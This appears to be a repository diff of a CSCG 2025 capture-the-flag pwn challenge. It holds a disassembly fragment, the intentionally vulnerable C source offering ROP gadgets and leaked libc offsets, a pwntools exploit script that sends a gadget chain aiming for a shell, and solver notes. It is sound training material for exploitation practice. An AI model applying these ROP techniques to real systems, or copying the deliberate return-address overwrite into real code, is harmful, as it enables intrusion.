1693: 49 89 f2 mov r10,rsi
|
||||
1696: c9 leave
|
||||
1697: c3 ret
|
||||
1698: 90 nop
|
||||
1699: 48 8b 5d f8 mov rbx,QWORD PTR [rbp-0x8]
|
||||
169d: c9 leave
|
||||
169e: c3 ret
|
||||
|
||||
000000000000169f <main>:
|
||||
169f: 55 push rbp
|
||||
16a0: 48 89 e5 mov rbp,rsp
|
||||
16a3: 48 83 ec 10 sub rsp,0x10
|
||||
16a7: 89 7d fc mov DWORD PTR [rbp-0x4],edi
|
||||
16aa: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
|
||||
16ae: b8 00 00 00 00 mov eax,0x0
|
||||
16b3: e8 61 fb ff ff call 1219 <ignore_me_init_buffering>
|
||||
16b8: b8 00 00 00 00 mov eax,0x0
|
||||
16bd: e8 28 fe ff ff call 14ea <print_stuff>
|
||||
16c2: 90 nop
|
||||
16c3: c9 leave
|
||||
16c4: c3 ret
|
||||
|
||||
Disassembly of section .fini:
|
||||
|
||||
00000000000016c8 <_fini>:
|
||||
16c8: 48 83 ec 08 sub rsp,0x8
|
||||
16cc: 48 83 c4 08 add rsp,0x8
|
||||
16d0: c3 ret
|
||||
53
2025/cscg/pwn/intro3/exploit.py
Normal file
53
2025/cscg/pwn/intro3/exploit.py
Normal file
@@ -0,0 +1,53 @@
|
||||
from pwn import *
|
||||
|
||||
# Set the context for the binary
|
||||
context.binary = './intro-rop' # Replace with your binary's name
|
||||
|
||||
# Choose local or remote
|
||||
LOCAL = True # Change to False if connecting remotely
|
||||
|
||||
if LOCAL:
|
||||
p = process(context.binary.path)
|
||||
else:
|
||||
p = remote("3b45136b24d0eac2fc0ed87f-1024-intro-pwn-3.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
|
||||
def send_payload(payload):
|
||||
p.sendline(payload)
|
||||
|
||||
def recv_until(delim):
|
||||
return p.recvuntil(delim)
|
||||
|
||||
def interact():
|
||||
p.interactive()
|
||||
|
||||
|
||||
#0x00000000: pop rax; ret
|
||||
#0x00000001: add rbx, r9; ret
|
||||
#0x00000002: mov rcx, qword ptr [rbx]; ret
|
||||
#0x00000003: mov rax, r8; mov rbx, r9; mov rcx, r10; ret
|
||||
#0x00000004: xor rcx, rdi; xor rbx, rdi; ret
|
||||
#0x00000005: push rax; ret
|
||||
#0x00000006: xor rax, rax; xor rsi, rsi; ret
|
||||
#0x00000007: sub rax, 0x8; idiv rdi; ret
|
||||
#0x00000008: add rdi, r8; ret
|
||||
#0x00000009: nop; ret
|
||||
#0x0000000a: imul rbx, rax; ret
|
||||
#0x0000000b: xor r9, r8; xor r8, r9; xor r9, r8; ret
|
||||
#0x0000000c: mov rcx, rsi; add rcx, r10; ret
|
||||
#0x0000000d: xor rdi, rcx; xor rsi, rcx; ret
|
||||
#0x0000000e: pop rbx; push rdi; push rbx; ret
|
||||
#0x0000000f: pop rbp; pop rsi; ret
|
||||
|
||||
|
||||
ropchain = [
|
||||
b"3", b"2", b"6", b"13", b"12", b"-1"
|
||||
]
|
||||
|
||||
|
||||
print("Send ropchain")
|
||||
input()
|
||||
|
||||
for gadget in ropchain:
|
||||
recv_until(b'Enter gadget index: ')
|
||||
send_payload(gadget)
|
||||
|
||||
interact() # Keep the shell open
|
||||
1
2025/cscg/pwn/intro3/flag
Normal file
1
2025/cscg/pwn/intro3/flag
Normal file
@@ -0,0 +1 @@
|
||||
CSCG{testflag}
|
||||
BIN
2025/cscg/pwn/intro3/intro-rop
Executable file
BIN
2025/cscg/pwn/intro3/intro-rop
Executable file
Binary file not shown.
253
2025/cscg/pwn/intro3/intro-rop.c
Normal file
253
2025/cscg/pwn/intro3/intro-rop.c
Normal file
@@ -0,0 +1,253 @@
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <dlfcn.h>
|
||||
#include <fcntl.h>
|
||||
#include <link.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
// intro-rop: gcc intro-rop.c -o intro-rop
|
||||
|
||||
// --------------------------------------------------- SETUP
|
||||
|
||||
void ignore_me_init_buffering() {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
}
|
||||
|
||||
typedef struct ropgadget {
|
||||
unsigned int length;
|
||||
unsigned char gadget[32];
|
||||
} ropgadget_t;
|
||||
|
||||
typedef unsigned long long u64;
|
||||
|
||||
// --------------------------------------------------- ROP GADGETS
|
||||
void gadget_0();
|
||||
void gadget_1();
|
||||
void gadget_2();
|
||||
void gadget_3();
|
||||
void gadget_4();
|
||||
void gadget_5();
|
||||
void gadget_6();
|
||||
void gadget_7();
|
||||
void gadget_8();
|
||||
void gadget_9();
|
||||
void gadget_10();
|
||||
void gadget_11();
|
||||
void gadget_12();
|
||||
void gadget_13();
|
||||
void gadget_14();
|
||||
void gadget_15();
|
||||
__asm(".intel_syntax noprefix \n"
|
||||
".global gadget_0 \n"
|
||||
".global gadget_1 \n"
|
||||
".global gadget_2 \n"
|
||||
".global gadget_3 \n"
|
||||
".global gadget_4 \n"
|
||||
".global gadget_5 \n"
|
||||
".global gadget_6 \n"
|
||||
".global gadget_7 \n"
|
||||
".global gadget_8 \n"
|
||||
".global gadget_9 \n"
|
||||
".global gadget_10 \n"
|
||||
".global gadget_11 \n"
|
||||
".global gadget_12 \n"
|
||||
".global gadget_13 \n"
|
||||
".global gadget_14 \n"
|
||||
".global gadget_15 \n"
|
||||
|
||||
"gadget_0: \n"
|
||||
" pop rax \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_1: \n"
|
||||
" add rbx, r9 \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_2: \n"
|
||||
" mov rcx, qword ptr [rbx] \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_3: \n"
|
||||
" mov rax, r8 \n"
|
||||
" mov rbx, r9 \n"
|
||||
" mov rcx, r10 \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_4: \n"
|
||||
" xor rcx, rdi \n"
|
||||
" xor rbx, rdi \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_5: \n"
|
||||
" push rax \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_6: \n"
|
||||
" xor rax, rax \n"
|
||||
" xor rsi, rsi \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_7: \n"
|
||||
" sub rax, 0x8 \n"
|
||||
" idiv rdi \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_8: \n"
|
||||
" add rdi, r8 \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_9: \n"
|
||||
" nop \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_10: \n"
|
||||
" imul rbx, rax \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_11: \n"
|
||||
" xor r9, r8 \n"
|
||||
" xor r8, r9 \n"
|
||||
" xor r9, r8 \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_12: \n"
|
||||
" mov rcx, rsi \n"
|
||||
" add rcx, r10 \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_13: \n"
|
||||
" xor rdi, rcx \n"
|
||||
" xor rsi, rcx \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_14: \n"
|
||||
" pop rbx \n"
|
||||
" push rdi \n"
|
||||
" push rbx \n"
|
||||
" ret \n"
|
||||
|
||||
"gadget_15: \n"
|
||||
" pop rbp \n"
|
||||
" pop rsi \n"
|
||||
" ret \n"
|
||||
|
||||
".att_syntax prefix \n");
|
||||
|
||||
void *gadgets[] = {
|
||||
gadget_0, gadget_1, gadget_2, gadget_3, gadget_4, gadget_5,
|
||||
gadget_6, gadget_7, gadget_8, gadget_9, gadget_10, gadget_11,
|
||||
gadget_12, gadget_13, gadget_14, gadget_15,
|
||||
};
|
||||
|
||||
// --------------------------------------------------- HELPER FUNCTIONS
|
||||
|
||||
// get the address of a libc function
|
||||
u64 get_libc_addr(const char *func) {
|
||||
void *handle = dlopen("libc.so.6", RTLD_LAZY);
|
||||
if (!handle) {
|
||||
fprintf(stderr, "Error opening libc: %s\n", dlerror());
|
||||
return 0;
|
||||
}
|
||||
|
||||
u64 func_addr = (u64)dlsym(handle, func);
|
||||
if (!func_addr) {
|
||||
fprintf(stderr, "Error getting symbol address: %s\n", dlerror());
|
||||
dlclose(handle);
|
||||
return 0;
|
||||
}
|
||||
|
||||
dlclose(handle);
|
||||
return func_addr;
|
||||
}
|
||||
|
||||
// libc usually contains a "/bin/sh" string, this function finds it
|
||||
u64 get_binsh_str() {
|
||||
void *handle = dlopen("libc.so.6", RTLD_LAZY);
|
||||
if (!handle) {
|
||||
fprintf(stderr, "Error opening libc: %s\n", dlerror());
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct link_map *map;
|
||||
if (dlinfo(handle, RTLD_DI_LINKMAP, &map) != 0) {
|
||||
fprintf(stderr, "Error getting link map: %s\n", dlerror());
|
||||
dlclose(handle);
|
||||
return 0;
|
||||
}
|
||||
dlclose(handle);
|
||||
return (u64)memmem((void *)map->l_addr, 0x10000000, "/bin/sh\x00", 8);
|
||||
}
|
||||
|
||||
// get the address of the puts GOT entry
|
||||
u64 get_puts_got() {
|
||||
void *dyn = _DYNAMIC;
|
||||
Dl_info info;
|
||||
if (dladdr(dyn, &info) == 0) {
|
||||
fprintf(stderr, "Error getting dynamic address: %s\n", dlerror());
|
||||
}
|
||||
u64 needle = get_libc_addr("puts");
|
||||
return (u64)memmem((void *)info.dli_fbase, 0x10000, (void *)&needle,
|
||||
sizeof(void *));
|
||||
}
|
||||
|
||||
// --------------------------------------------------- Challenge
|
||||
|
||||
void print_stuff() {
|
||||
u64 *new_stack = (u64 *)malloc(1024 * 1024);
|
||||
|
||||
puts("Enter the index of each ROP gadget");
|
||||
puts("Finish your ROP chain with the index -1");
|
||||
|
||||
signed int lastIndex = 0;
|
||||
int counter = 0;
|
||||
int maxIndex = sizeof(gadgets) / sizeof(gadgets[0]);
|
||||
|
||||
u64 diff_puts_Binsh = get_binsh_str() - get_libc_addr("puts");
|
||||
u64 diff_puts_System = get_libc_addr("system") - get_libc_addr("puts");
|
||||
u64 puts_got = get_puts_got();
|
||||
|
||||
while (lastIndex != -1) {
|
||||
printf("\n> Enter gadget index: ");
|
||||
scanf("%d", &lastIndex);
|
||||
|
||||
if (lastIndex >= maxIndex || (lastIndex < 0 && lastIndex != -1)) {
|
||||
printf("Invalid index, bye!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
new_stack[counter++] = (u64)gadgets[lastIndex];
|
||||
}
|
||||
|
||||
printf("Lets goooo ! :)\n");
|
||||
u64 rbp = 0; // Get stack address of return pointer to overwrite it
|
||||
__asm("mov %%rbp, %0\n" : "=r"(rbp));
|
||||
rbp += 8; // Adjust for return address
|
||||
|
||||
memcpy((void *)rbp, (void *)new_stack, counter * 8);
|
||||
|
||||
__asm(".intel_syntax noprefix\n"
|
||||
"mov rsp, %0\n"
|
||||
"mov r8, %1\n"
|
||||
"mov r9, %2\n"
|
||||
"mov r10, %3\n"
|
||||
"leave\n"
|
||||
"ret\n"
|
||||
".att_syntax prefix\n"
|
||||
:
|
||||
: "r"(new_stack), "r"(diff_puts_System), "r"(puts_got),
|
||||
"r"(diff_puts_Binsh));
|
||||
}
|
||||
|
||||
// --------------------------------------------------- MAIN
|
||||
|
||||
void main(int argc, char *argv[]) {
|
||||
ignore_me_init_buffering();
|
||||
|
||||
print_stuff();
|
||||
}
|
||||
10
2025/cscg/pwn/intro3/notes.md
Normal file
10
2025/cscg/pwn/intro3/notes.md
Normal file
@@ -0,0 +1,10 @@
|
||||
r8 = system_puts_diff
|
||||
r9 = puts_got
|
||||
r10 = binsh_puts_diff
|
||||
|
||||
3 -> rax = r8, rbx = r9, rcx = r10
|
||||
2 -> rcx = puts
|
||||
6 -> rax = 0, rsi = 0
|
||||
13 -> rdi = trash, rsi = puts
|
||||
12 -> rcx = binsh
|
||||
|
||||
Reference in New Issue
Block a user